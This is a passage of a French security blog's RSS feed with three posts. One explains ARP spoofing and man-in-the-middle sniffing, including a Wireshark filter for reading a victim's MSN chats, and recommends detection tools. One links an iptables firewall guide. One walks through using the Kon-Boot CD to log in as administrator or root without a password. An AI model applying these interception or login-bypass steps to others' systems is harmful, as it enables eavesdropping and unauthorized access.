<p>L&#8217;astuce va consister à usurper une adresse IP au sein du réseau en utilisant des packets forgés. Comment cela se passe ? Si je veux sniffer ce qu&#8217;Etienne et Alix se disent, je vais envoyer à Etienne un packet avec en adresse IP source, l&#8217;ip de la machine d&#8217;Alix et l&#8217;adresse MAC de ma carte réseau. On imagine aisément la suite, j&#8217;envoie un packet à Alix avec l&#8217;adresse IP d&#8217;Etienne en source et mon adresse MAC à nouveau. Lorsque les deux vont vouloir communiquer, c&#8217;est moi qui vais recevoir les trames. Une fois que les trames arrivent chez moi, j&#8217;ai plusieurs choix: Ecouter ce qu&#8217;ils se disent (conversations MSN, Surf, etc) avec du Man in the Middle, donc rerouter les packets ensuite; paralyser le réseau en réalisant un Ddos: MITM sans relayer les packets; décider de ne pas router les packets après réception: bloquage du réseau. Ainsi je peux écouter l&#8217;intégralité des informations échangées sur le réseau où je suis.</p>
<p>Pour éviter ce type d&#8217;attaque on peut par exemple mettre des entrées statiques dans les cache ARP, mais cette méthode a ses limites: il faut un faible nombre de machines sur le réseau, et c&#8217;est biensûr impossible sur un Wifi ouvert d&#8217;hôtel. Sinon, on peut surveiller le réseau, et couper les accès aux adresses IP usurpées (Victime 1, Victime 2, Attaquant).</p>
<p>Si l&#8217;on est victime de ce type d&#8217;attaque, on peut limiter le casse: le bon usage voudrait que l&#8217;on utilise SYSTÉMATIQUEMENT des connexions en SSL pour rappatrier ses mails, se loger sur ses comptes favoris (gmail, analytics, etc), et se limiter à l&#8217;essentiel dans ce surf. Bref tout cela reste problématique et assez peu déterministe. D&#8217;autant plus que de configurer un proxy SSL pour son IM n&#8217;est pas toujours possible, et un pirate peut aisément extraire les trames spécifiques qui l&#8217;interesse. Par exemple en cas de sniffing, si sous Wireshark j&#8217;utilise: msnms contains &laquo;&nbsp;text/plain&nbsp;&raquo; &amp;&amp; ip.addr == 192.168.0.10, je pourrais lire l&#8217;intégralité des conversations msn de la victime.</p>
<p>Tout cela pour dire que j&#8217;ai trouvé un soft qui se lance au démarrage de votre machine et vous alerte en cas d&#8217;ARP Poisoning. Je ne peux plus m&#8217;en passer, ma paranoia diminue, bref tout va pour le mieux dans le meilleur des mondes.</p>
<p>Le soft en question s&#8217;appelle Xarp, <a title="Empecher sniffing réseau" href="http://www.chrismc.de/" target="_blank">téléchargeable ici</a>. Donc comme précisé, il se lance au démarrage et analyse les associations ARP, et permet de déceller si vous êtes victime d&#8217;ARP Poisoning. S&#8217;il détecte une attaque, il pop une alerte avec l&#8217;adresse IP de l&#8217;attaquant et celles des victimes.</p>
<p>Sinon si vous voulez vous la jouer un peu plus old school, vous avez <a title="Empecher arp poisoning" href="http://www-nrg.ee.lbl.gov/" target="_blank">arpwatch</a>.</p>
<p>&nbsp;</p>
<p align="center"><img alt="xarp screenshot alert" src="http://www.john-jean.com/blog/wp-content/uploads/2009/04/xarp-screenshot-alert.png" width="450" height="331" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/empecher-larp-poisoning-arp-spoofing-detecter-si-quelquun-sniffe-votre-reseau-184/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Parametrer / configurer son firewall sur Gnu/Linux avec Iptables et Netfilter</title>
		<link>http://www.john-jean.com/blog/securite-informatique/parametrer-configurer-son-firewall-sur-gnulinux-avec-iptables-et-netfilter-175</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/parametrer-configurer-son-firewall-sur-gnulinux-avec-iptables-et-netfilter-175#comments</comments>
		<pubDate>Tue, 21 Apr 2009 14:15:40 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sysadmin]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[configuration]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[netfilter]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/parametrer-configuration-son-firewall-sur-gnulinux-avec-iptablesnetfilter-175</guid>
		<description><![CDATA[La plupart des nouveaux utilisateurs de systèmes Gnu/Linux partent du postulat qu&#8217;utiliser un Linux est bien plus sûr qu&#8217;un Windows, et que de fait, il n&#8217;est pas forcément nécessaire d&#8217;avoir un firewall, ou encore de passer de temps à paramétrer son système. Ils ont évidement tort, considérer Linux comme plus secure que Windows est une [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="hoho" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/07/hoho-1.jpg" width="165" height="158" /></p>
<p>La plupart des nouveaux utilisateurs de systèmes Gnu/Linux partent du postulat qu&#8217;utiliser un Linux est bien plus sûr qu&#8217;un Windows, et que de fait, il n&#8217;est pas forcément nécessaire d&#8217;avoir un firewall, ou encore de passer de temps à paramétrer son système. Ils ont évidement tort, considérer Linux comme plus secure que Windows est une erreur, et ne pas paramétrer son OS en est une autre. Lors des audits de sécurité, c&#8217;est souvent une machine end-user du parc qui fait défaut. Il existe pourtant un module qui fournit à Linux l&#8217;intégralité des fonctions de pare-feu: Netfilter. Il intercepte et manipule les paquets IP avant et après le routage. Pour configurer Netfilter en espace utilisateur, on utilise Iptables. Nous devons souvent proposer aux administrateurs et utilisateurs une configuration d&#8217;un firewall que nous estimons saine post-audit. Ce billet reprend la plupart des informations que nous mettons en avant dans le rapport.</p>
<p><span id="more-175"></span>
<p>Afin de faciliter la lecture de cette configuration, j&#8217;ai opté pour un export html, avec quelques textareas permettant à chacun de pouvoir copier coller les parties qui l&#8217;interesse. Une fonction amusante de port knocking est expliquée en fin de document.</p>
<p><a title="Configuration d'un firewall avec NetFilter/Iptables" href="http://www.john-jean.com/blog/parametrer-configuration-firewall-linux-en-utilisant-netfilter-iptable.html" target="_blank">Configuration d&#8217;un firewall avec Iptables/Netfilter</a></p>
<p>A noter que l&#8217;auteur de la configuration initiale est Raphael Prevost, consultant sécurité au sein de <a title="Audit de sécurité informatique" href="http://www.wargan.com" target="_blank">Wargan Solutions</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/parametrer-configurer-son-firewall-sur-gnulinux-avec-iptables-et-netfilter-175/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Se logger en administrateur sur la plupart des OS en 10 secondes</title>
		<link>http://www.john-jean.com/blog/securite-informatique/se-logger-en-administrateur-sur-la-plupart-des-os-sans-en-connaitre-le-mot-de-passe-168</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/se-logger-en-administrateur-sur-la-plupart-des-os-sans-en-connaitre-le-mot-de-passe-168#comments</comments>
		<pubDate>Mon, 20 Apr 2009 14:20:32 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[kon-boot]]></category>
		<category><![CDATA[ophcrack]]></category>
		<category><![CDATA[retrouver mot de passe]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[windows vista]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/se-logger-en-administrateur-sur-la-plupart-des-os-sans-en-connaitre-le-mot-de-passe-168</guid>
		<description><![CDATA[Alors là y&#8217;a pas à dire, j&#8217;ai rarement fait mieux comme titre racoleur ! J&#8217;aurai du préciser qu&#8217;il faut un accès physique à la machine (en tout cas à son lecteur CD) mais ça aurait fait un titre trop long. Vous avez parfois besoin d&#8217;accéder à une machine sans en connaitre le mot de passe: [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="hoho" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/07/hoho.jpg" width="165" height="158" /></p>
<p>Alors là y&#8217;a pas à dire, j&#8217;ai rarement fait mieux comme titre racoleur ! J&#8217;aurai du préciser qu&#8217;il faut un accès physique à la machine (en tout cas à son lecteur CD) mais ça aurait fait un titre trop long. Vous avez parfois besoin d&#8217;accéder à une machine sans en connaitre le mot de passe: vous avez oublié votre mot de passe, vieille machine ressortie du grenier, maintenance, audit de sécurité, et pour certain d&#8217;entre vous, bidouilles que je ne veux pas connaitre :) Quand j&#8217;avais besoin de tripoter un Windows XP sans connaitre le password administrateur j&#8217;utilisais un Live CD de <a title="Live CD Ophcrack" href="http://ophcrack.sourceforge.net/">OphCrack</a> qui permet de cracker les hashs LM et NTLM (donc ceux de windows) à l&#8217;aide de Rainbow Tables, ou simplement en méthode bruteforce. Grosso-modo, il load les hashs de la SAM au boot et donc en extrait les passwords selon la méthode que vous avez défini.</p>
<p>Tout ça c&#8217;est révolu grâce à un développeur fou qui vient de release un programme qui permet de se logger sur l&#8217;ensemble de ces OS sans en connaitre le mot de passe administrateur (ou root pour le coup):</p>
<ul>
<li style="list-style: none"></li>
<li>Windows Server 2008 Standart SP2</li>
<li>Windows 7</li>
<li>Windows Vista Business SP0</li>
<li>Windows Vista Ultimate SP1 / SP0</li>
<li>Windows Server 2003 Enterprise</li>
<li>Windows XP SP1 / SP2 / SP3</li>
<li>Gentoo 2.6.24</li>
<li>Ubuntu 2.6.24</li>
<li>Debian 2.6.18-6</li>
<li>Fedora 2.6.25.9-76</li>
</ul>
<p></p>
<p>Le mieux c&#8217;est que cette liste n&#8217;est pas exhaustive, cela correspond simplement aux OS qu&#8217;il a testé.</p>
<p><span id="more-168"></span>
<p><a title="Kon-Boot, démarrer son OS sans en connaitre le mot de passe" href="http://www.piotrbania.com/all/kon-boot/" target="_blank">Kon-Boot</a> change le contenu du kernel de votre distrib &laquo;&nbsp;on the fly&nbsp;&raquo; (pendant le boot). Le développeur explique qu&#8217;il l&#8217;a conçu à la base pour Ubuntu à cause de ses soucis de mémoires, et qu&#8217;au fil du temps il l&#8217;a étendu, jusqu&#8217;à ce que cela devienne un vrai projet de sécu. Le soft est codé en ASM x86. Les changements à la volée du noyau Linux ou Windows ne produit évidement aucun changement physique, tout est fait virtuellement.</p>
<p>Comment ça marche ?</p>
<p>Il vous suffit de récupérer l&#8217;archive suivante: <a title="Télécharger / Download Kon boot" href="http://www.john-jean.com/blog/wp-content/uploads/2009/04/CD-konboot-v1.1-2in1.zip" target="_blank">télécharger kon boot</a>, ou <a href="http://www.piotrbania.com/all/kon-boot/data/CD-konboot-v1.1-2in1.zip" target="_blank">ici</a>, et de graver l&#8217;ISO pour en réaliser un CD amorcable. Ensuite vous démarrez votre machine en bootant sur le CD. Sous Windows la seule chose que vous ayez à faire c&#8217;est de taper un mot de passe quelconque à la place de celui demandé, et vous arriverez sur le bureau comme un utilisateur correctement authentifié.</p>
<p>Concernant les autres distribs, vous bootez sur le CD également, puis vous laissez votre OS démarrer. Quand ce dernier vous demande votre login vous saisissez &laquo;&nbsp;kon-usr&nbsp;&raquo;, si cela marche vous devez arriver loggé sur l&#8217;OS. Pour restaurer le système lorsque vous vous déloggez, il suffit juste d&#8217;utiliser &laquo;&nbsp;kon-fix&nbsp;&raquo;. Petit exemple pratique:<br />
<code><br />
Ubuntu 8.04 torpeda tty1<br />
torpeda login: kon-usr<br />
# id<br />
uid=0(root) gid=0(root)<br />
# whoami<br />
root<br /></code></p>
<p>Sinon:<br />
<code><br />
torpeda login: kon-usr<br />
/bin/sh: Can't open kon-usr<br />
FIX: type 'kon-fix' as login<br /></code></p>
<p>Pour ceux qui ont du mal à graver l&#8217;iso à l&#8217;aide de softs traditionnels type Nero, vous pouvez (et devez) télécharger <a title="Iso Burner" href="http://www.ntfs.com/iso-burning.htm">Iso Burner</a>. Si votre antivirus râle, le site de l&#8217;auteur dit que c&#8217;est un fait connu, mais que ce soft n&#8217;est évidement en rien un virus.</p>
<p>Voila avec cette méthode vous pouvez <a title="Retrouver mot de passe windows xp" href="http://www.john-jean.com/blog/securite-informatique/se-logger-en-administrateur-sur-la-plupart-des-os-sans-en-connaitre-le-mot-de-passe-168" target="_blank">retrouver votre mot de passe Windows XP</a>, <a title="Retrouver mot de passe root linux" href="http://www.john-jean.com/blog/securite-informatique/se-logger-en-administrateur-sur-la-plupart-des-os-sans-en-connaitre-le-mot-de-passe-168" target="_blank">retrouver votre mot de passe root pour Ubuntu</a>. Ce petit soft va vraiment faire beaucoup de bruit, simplicité, aucune modification et pour ma part, du jamais vu. Généralement c&#8217;est du bruteforce ou autre, mais pas du bypass ainsi sans aucune modification système.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/se-logger-en-administrateur-sur-la-plupart-des-os-sans-en-connaitre-le-mot-de-passe-168/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>
